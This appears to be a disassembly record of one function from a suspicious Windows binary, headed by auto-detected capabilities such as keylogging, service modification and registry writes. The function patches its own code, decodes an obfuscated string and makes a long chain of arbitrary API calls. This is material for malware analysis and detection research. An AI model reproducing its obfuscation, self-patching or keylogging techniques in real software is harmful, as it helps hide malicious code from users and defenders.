Function at 0xaa71f6
Capabilities:
Accept command line arguments
Create process on windows
Delete directory
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get file attributes
Get file size
Get file system object information
Get graphical window text
Get keyboard layout
Identify system language via api
Log keystrokes
Log keystrokes via polling
Modify service
Query or enumerate registry key
Query service status
Read .ini file
Resume thread
Set registry value
Start service
Stop service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
mov dword [ebp - 0x10], 0xaa7f24
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa7036
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa71f6
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa70b8
call fcn.00483c62
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa707a
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa7094
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa7094
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa704a
mov byte [ebp - 0x78], 1
mov byte [ebp - 0x77], 0x76
mov byte [ebp - 0x76], 2
mov byte [ebp - 0x75], 0x71
mov byte [ebp - 0x74], 0x1b
mov byte [ebp - 0x73], 0xd
mov byte [ebp - 0x72], 0x74
mov byte [ebp - 0x71], 0xe8
mov byte [ebp - 0x70], 0x7f
mov byte [ebp - 0x6f], 0x12
mov byte [ebp - 0x6e], 0xc4
mov byte [ebp - 0x6d], 0x22
mov byte [ebp - 0x6c], 0x9b
mov byte [ebp - 0x6b], 0xa8
mov byte [ebp - 0x6a], 0x88
mov byte [ebp - 0x69], 0x82
mov byte [ebp - 0x68], 0xb2
mov byte [ebp - 0x67], 0xf8
mov byte [ebp - 0x66], 0x16
mov byte [ebp - 0x65], 0x9b
mov byte [ebp - 0x64], 0x63
mov byte [ebp - 0x63], 0x38
mov byte [ebp - 0x62], 0x9e
mov byte [ebp - 0x61], 0x69
mov byte [ebp - 0x60], 1
mov byte [ebp - 0x5f], 0x7d
mov byte [ebp - 0x5e], 0xb0
mov byte [ebp - 0x5d], 0xd0
mov byte [ebp - 0x5c], 0x39
mov byte [ebp - 0x5b], 0xd1
mov byte [ebp - 0x5a], 0xfe
mov byte [ebp - 0x59], 9
mov byte [ebp - 0x58], 0x6e
mov byte [ebp - 0x57], 8
mov byte [ebp - 0x56], 0x77
mov byte [ebp - 0x55], 5
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0
mov byte [ebp - 0x52], 0x7d
mov byte [ebp - 0x51], 4
mov byte [ebp - 0x50], 0x84
mov byte [ebp - 0x4f], 3
mov byte [ebp - 0x4e], 0x2f
mov byte [ebp - 0x4d], 7
mov byte [ebp - 0x4c], 0x72
mov byte [ebp - 0x4b], 6
mov byte [ebp - 0x4a], 0x81
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa7186
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2f
jae 0xaa71eb
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x78]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa71b2
mov dword [ebp - 0x24], 0x1b
mov eax, dword [ebp - 8]
add eax, 0x19
mov dword [ebp - 8], eax
jmp 0xaa717e
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x77]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa71da
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa71c7
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x78]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa717e
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa9b6da
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.0040766b
mov ecx, eax
call fcn.00402671
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.00402615
and dword [ebp - 0x1c], 0
jmp 0xaa722e
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa723e
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa7227
push 0x21bd
push 0x1af1
push 0x1527
push 0xad7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_IntersectClipRect]
push 0
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
push 0x1a13
push 0x1dad
push 0x1d86
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
call dword [sym.imp.USER32.dll_GetCapture]
push 0x5f8
push 0
push 0
push 0x1ea0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectPalette]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0x1fae
push 0
push 0x639
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextW]
push 0x138b
push 0
call dword [sym.imp.USER32.dll_GetSubMenu]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
call dword [sym.imp.USER32.dll_CreatePopupMenu]
push 0x1043
push 0x1072
push 0x1f07
push 0x42
push 0
call dword [sym.imp.USER32.dll_SetRect]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
push 0
push 0x776
push 0
call dword [sym.imp.ADVAPI32.dll_ControlService]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
push 0
push 0x1e7f
push 0x1842
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x19a9
push 0x246a
push 0xdf5
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0x60f
push 0x1938
push 0
call dword [sym.imp.GDI32.dll_SetPaletteEntries]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
push 0
push 0x25eb
push 0x22ce
push 0
call dword [sym.imp.USER32.dll_InsertMenuA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push 0
push 0x24
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
push 0x79d
push 0x21e1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
call dword [sym.imp.USER32.dll_WaitMessage]
push 0x291
call dword [sym.imp.USER32.dll_GetKeyState]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0
push 0
call dword [sym.imp.USER32.dll_GetMonitorInfoW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
push 0
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push 0
push 0x13a9
push 0x7db
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0
call dword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0x25be
push 0
push 0x124d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0x1dc4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetMapMode]
push 0x104c
push 0
push 0
push 0
push 0
push 0x177a
push 0x1df9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
push 0
push 0x25c7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowRgn]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetBkColor]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0
push 0x1d20
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0x1800
push 0xa7a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
push 0
push 0x1af9
push 0x21d3
push 0xf04
push 0x1aa7
push 0x1fd5
push 0x227d
push 0x2217
push 0x1fc
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
push 0x1d80
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x134
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
push 0x1c89
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0
push 0x1583
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0x24fa
push 0x1402
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 0
push 0x10e7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetWindowOrgEx]
push 0
call dword [sym.imp.COMDLG32.dll_FindTextW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
push 0
push 0x2009
push 0
push 0
push 0x287
push 0x1f9e
call dword [sym.imp.USER32.dll_ToAsciiEx]
push 0x26ad
call dword [sym.imp.USER32.dll_PostQuitMessage]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0xc19
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0x14e7
push 0x3c0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetClassLongA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0x177c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindow]
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
push 0x349
push 0x12c
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0
call dword [sym.imp.USER32.dll_CharUpperW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringByteLen]
push 0
push 0x1452
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0
push 0
push 0x37e
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0x243c
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x478
call dword [sym.imp.USER32.dll_GetKeyboardType]
push 0x2277
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
push 0x211c
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x1f45
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push 0
push 0x1b82
push 0
push 0x568
push 0
push 0x1355
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0x17f8
push 0
push 0x6fc
push 0x2211
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0x580
push 0
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push 1
push 0x2426
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapDialogRect]
push 0
push 0xfdb
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
push 0x1d2d
push 0x113a
push 0x129c
call dword [sym.imp.KERNEL32.dll_HeapCreate]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0x18fc
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryW]
push 0x1ba9
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PolyPolyline]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0
push 0
push 0x896
push 0x5b7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowPlacement]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
push 0x17eb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDeviceCaps]
push 0x1123
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0x17
push 0
push 0x1dc3
push 0x248c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x78c
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x1229
push 0x2280
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
push 0x11b1
push 0x8e6
call dword [sym.imp.USER32.dll_SetCaretPos]
push 0
push 0x2708
push 0x1a75
push 0x200b
push 0x14b0
call dword [sym.imp.GDI32.dll_CreateBitmap]
push 0
push 0x541
push 0x2280
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SaveDC]
push 0
push 0x346
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
push 0
push 0x9c1
push 0
push 0x24f7
push 0x25d7
push 0
push 0x183b
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0x68e
push 0
push 0
push 0x466
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0x75e
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_TranslateMDISysAccel]
push 0x8be
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push 0
push 0
push 0x530
push 0
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0x1cf2
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0x79e
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
push 0x17e4
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x42b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MapWindowPoints]
push 0
push 0x88f
push 0x60c
push 0x245f
push 0x143
push 0x1499
push 0x142b
push 0xc68
push 0x1f54
push 0x11a8
push 0x1d2e
push 0xfdd
push 0x1158
push 0x129e
call dword [sym.imp.GDI32.dll_CreateFontA]
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push 0xabd
push 0x1542
push 0xbcf
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0x1c2d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0x2366
push 0x25e7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_GetMessageA]
push 0x202c
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
push 0x1626
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0x7c9
push 0xa8
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
push 0x1f78
push 0x260a
push 0x163c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x190f
push 0x197
push 0x82e
push 0x1d93
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
push 0x14c3
call dword [sym.imp.USER32.dll_GetSysColorBrush]
push 0
push 0x1ca
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
push 0
call dword [sym.imp.USER32.dll_CharNextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x2370
push 0x2110
push 0xa3f
push 0x25a5
push 0
call dword [sym.imp.USER32.dll_TrackPopupMenu]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0
call dword [sym.imp.KERNEL32.dll_RtlCaptureContext]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0
push 0
push 0x189
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageW]
push 0x1042
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0x1794
push 0x6f4
push 0x34c
push 0x1f2b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
call dword [sym.imp.KERNEL32.dll_GetVersion]
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
push 0x1b1
push 0xe8
push 0
call dword [sym.imp.USER32.dll_OffsetRect]
push 0
push 0
push 0x542
push 0
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0x5c0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 0
push 0
push 0x1f70
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0
push 0x2360
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetClipBox]
push 0x26b1
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
push 0
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0x1a11
push 0x974
push 0
push 0x1588
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0
push 0x1272
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
push 0
push 0x10f3
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push 0
call dword [sym.imp.USER32.dll_LoadIconA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetMenu]
push 0xa2a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
call dword [sym.imp.USER32.dll_GetMessageTime]
jmp 0xaa7f2e
mov esp, ebp
pop ebp
ret